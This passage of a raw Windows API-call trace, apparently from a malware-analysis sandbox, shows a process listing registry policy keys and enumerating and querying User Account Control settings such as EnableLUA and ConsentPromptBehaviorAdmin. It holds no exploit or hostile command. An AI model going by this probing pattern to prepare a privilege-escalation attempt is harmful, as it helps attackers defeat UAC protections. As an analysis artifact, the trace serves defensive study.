(HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.728] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x49b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0221.728] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0221.728] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x49c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0221.728] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.728] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.728] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.728] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.728] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x49b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0221.728] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0221.728] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x49c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0221.728] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.728] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.728] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.728] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.728] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x49b930, cchName=0x104 | out: lpName="System") returned 0x0 [0221.728] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0221.729] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x49c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0221.729] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.729] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.729] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.729] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.729] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0221.729] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b930) returned 1 [0221.729] RegCloseKey (hKey=0xc4) returned 0x0 [0221.729] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b860) returned 1 [0221.729] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.729] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49b860 [0221.729] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b878 [0221.729] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.729] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.729] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b888 [0221.729] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.729] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.729] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b898 [0221.729] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c168 [0221.730] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.730] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b930 [0221.730] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1b0 [0221.730] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.730] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x20) returned 0x49b940 [0221.730] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b860) returned 1 [0221.730] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b860 [0221.730] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0221.730] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.730] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b968 [0221.730] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c240 [0221.730] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.730] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b978 [0221.730] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.730] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.730] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b988 [0221.730] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c2d0 [0221.730] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.730] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x30) returned 0x49b998 [0221.730] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b940) returned 1 [0221.730] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b940 [0221.730] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c318 [0221.730] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.731] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b950 [0221.731] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c360 [0221.731] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.731] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b9d0 [0221.731] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c3a8 [0221.731] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.731] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b9e0 [0221.732] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c3f0 [0221.732] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.732] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c438 [0221.732] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b998) returned 1 [0221.732] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b998 [0221.732] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c480 [0221.732] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.732] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b9a8 [0221.732] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c4c8 [0221.732] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.732] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b9b8 [0221.732] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c510 [0221.732] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.732] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b9f0 [0221.732] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c558 [0221.732] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0221.732] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5a0 [0221.732] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5a0) returned 1 [0221.732] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5a0 [0221.732] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5a0) returned 1 [0221.732] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5a0 [0221.732] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5a0) returned 1 [0221.732] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5a0 [0221.732] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5a0) returned 1 [0221.732] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5a0 [0221.732] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.732] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b878) returned 1 [0221.732] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.732] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b888) returned 1 [0221.732] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c168) returned 1 [0221.732] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b898) returned 1 [0221.732] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1b0) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b930) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1f8) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b860) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c240) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b968) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b978) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c2d0) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b988) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c318) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b940) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c360) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b950) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c3a8) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b9d0) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c3f0) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b9e0) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c480) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b998) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c4c8) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b9a8) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c510) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b9b8) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c558) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b9f0) returned 1 [0221.733] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c438) returned 1 [0221.733] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c438 [0221.733] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0221.733] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x49c438, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x49c438*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0221.734] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c438) returned 1 [0221.734] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5a0) returned 1 [0221.734] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.734] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49b860 [0221.734] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b878 [0221.734] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5a0 [0221.734] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.734] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b888 [0221.734] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c438 [0221.734] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.734] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b898 [0221.734] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c558 [0221.734] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.734] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b930 [0221.734] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c510 [0221.734] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.734] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x20) returned 0x49b940 [0221.734] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b860) returned 1 [0221.734] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b860 [0221.734] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c4c8 [0221.734] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.734] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b968 [0221.734] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c480 [0221.734] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.734] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b978 [0221.734] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c3f0 [0221.735] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.735] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b988 [0221.735] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c3a8 [0221.735] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.735] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x30) returned 0x49b998 [0221.735] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b940) returned 1 [0221.735] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b940 [0221.735] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c360 [0221.735] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.735] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b950 [0221.735] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c318 [0221.735] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.735] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b9d0 [0221.735] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c2d0 [0221.735] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.735] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b9e0 [0221.735] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.735] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.735] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c240 [0221.735] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b998) returned 1 [0221.735] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b998 [0221.735] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0221.735] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.735] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b9a8 [0221.735] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1b0 [0221.736] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.736] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d1e8 [0221.736] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c168 [0221.736] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.736] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d1f8 [0221.736] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.736] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, 